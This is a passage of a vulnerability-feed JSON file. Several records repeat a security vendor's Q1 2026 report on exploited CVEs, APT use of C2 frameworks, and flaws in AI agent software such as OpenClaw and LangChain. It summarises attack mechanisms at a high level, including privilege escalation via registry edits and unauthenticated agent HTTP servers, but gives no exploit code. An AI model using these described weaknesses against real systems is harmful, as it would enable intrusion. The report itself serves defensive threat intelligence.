\u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2026-04-29T01:08:33.000000Z"}, {"uuid": "efb12762-ce7a-4400-b8c3-27e7535f0a02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-06)", "content": "", "creation_timestamp": "2026-05-06T00:00:00.000000Z"}, {"uuid": "62776d46-7efe-4f4a-91ee-a4759641f448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "Exploits and vulnerabilities in Q1 2026\nDuring Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.\nIn this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.\nWe examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nThe graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nIn Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive\nCVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams\nAmong the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:\n\nCVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user\u2019s knowledge. Malicious commands are executed on the victim\u2019s system with the privileges of the user who opened the file.\nCVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.\nThese three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.\nBelow is the trend of exploit detections on user Windows systems starting from Q1 2025.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nOn Linux devices, exploits for the following vulnerabilities were detected most frequently:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.\nMost common published exploits\nThe distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.\nDistribution of published exploits by platform, Q1 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)\nIn Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)\nMetasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user\nThe nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.\nCVE-2026-21519: Desktop Window Manager vulnerability\nAt the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.\nIt is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.\nRegPwn (CVE-2026-21533): a system settings access control vulnerability\nCVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.\nCVE-2026-21514: a Microsoft Office vulnerability\nThis vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.\nClawdbot (CVE-2026-25253): an OpenClaw vulnerability\nThis vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.\nCVE-2026-34070: LangChain framework vulnerability\nLangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.\nCVE-2026-22812: an OpenCode vulnerability\nCVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.\nConclusion and advice\nWe observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.\nTo ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-05-07T10:52:24.415500Z"}, {"uuid": "541e6810-1060-40fb-8d19-7b146e1243db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "Exploits and vulnerabilities in Q1 2026\nDuring Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.\nIn this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.\nWe examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nThe graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nIn Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive\nCVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams\nAmong the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:\n\nCVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user\u2019s knowledge. Malicious commands are executed on the victim\u2019s system with the privileges of the user who opened the file.\nCVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.\nThese three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.\nBelow is the trend of exploit detections on user Windows systems starting from Q1 2025.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nOn Linux devices, exploits for the following vulnerabilities were detected most frequently:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.\nMost common published exploits\nThe distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.\nDistribution of published exploits by platform, Q1 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)\nIn Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)\nMetasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user\nThe nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.\nCVE-2026-21519: Desktop Window Manager vulnerability\nAt the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.\nIt is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.\nRegPwn (CVE-2026-21533): a system settings access control vulnerability\nCVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.\nCVE-2026-21514: a Microsoft Office vulnerability\nThis vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.\nClawdbot (CVE-2026-25253): an OpenClaw vulnerability\nThis vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.\nCVE-2026-34070: LangChain framework vulnerability\nLangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.\nCVE-2026-22812: an OpenCode vulnerability\nCVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.\nConclusion and advice\nWe observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.\nTo ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-05-07T10:52:24.624219Z"}, {"uuid": "8e3b9d22-ba8c-466f-9c13-6a7bc55191db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "Exploits and vulnerabilities in Q1 2026\nDuring Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.\nIn this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.\nWe examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.\nTotal published vulnerabilities per month from 2022 through 2026 (download)\nNext, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.\nTotal critical vulnerabilities published per month from 2022 through 2026 (download)\nThe graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.\nExploitation statistics\nThis section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.\nWindows and Linux vulnerability exploitation\nIn Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:\n\nCVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component\nCVE-2017-11882: another RCE vulnerability also affecting Equation Editor\nCVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system\nCVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive\nCVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution\nCVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams\nAmong the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:\n\nCVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user\u2019s knowledge. Malicious commands are executed on the victim\u2019s system with the privileges of the user who opened the file.\nCVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.\nThese three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.\nBelow is the trend of exploit detections on user Windows systems starting from Q1 2025.\nDynamics of the number of Windows users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nThe vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.\nOn Linux devices, exploits for the following vulnerabilities were detected most frequently:\n\nCVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications\nCVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation\nCVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem\nCVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests\nDynamics of the number of Linux users encountering exploits, Q1 2025 \u2013 Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)\nIn the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.\nMost common published exploits\nThe distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.\nDistribution of published exploits by platform, Q1 2026 (download)\nVulnerability exploitation in APT attacks\nWe analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.\nTOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)\nIn Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.\nC2 frameworks\nIn this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.\nThe chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.\nTOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)\nMetasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:\n\nCVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running\nCVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication\nCVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications\nCVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server\nCVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user\nThe nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.\nNotable vulnerabilities\nThis section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.\nCVE-2026-21519: Desktop Window Manager vulnerability\nAt the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.\nIt is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.\nRegPwn (CVE-2026-21533): a system settings access control vulnerability\nCVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.\nCVE-2026-21514: a Microsoft Office vulnerability\nThis vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.\nClawdbot (CVE-2026-25253): an OpenClaw vulnerability\nThis vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.\nCVE-2026-34070: LangChain framework vulnerability\nLangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.\nCVE-2026-22812: an OpenCode vulnerability\nCVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.\nConclusion and advice\nWe observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.\nTo ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity. \nsecurelist.com/vulnerabilities\u2026", "creation_timestamp": "2026-05-07T10:52:24.831251Z"}, {"uuid": "df8c2a88-66b9-4647-8d62-4f46a09aca4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-e8c8129d-b09e02c4de9c4f4a", "content": "Exploits and vulnerabilities in Q1 2026\nDuring Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.\nIn this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.\nStatistics on registered vulnerabilities\nThis section provides statistical data on registered vulnerabilities. The data is 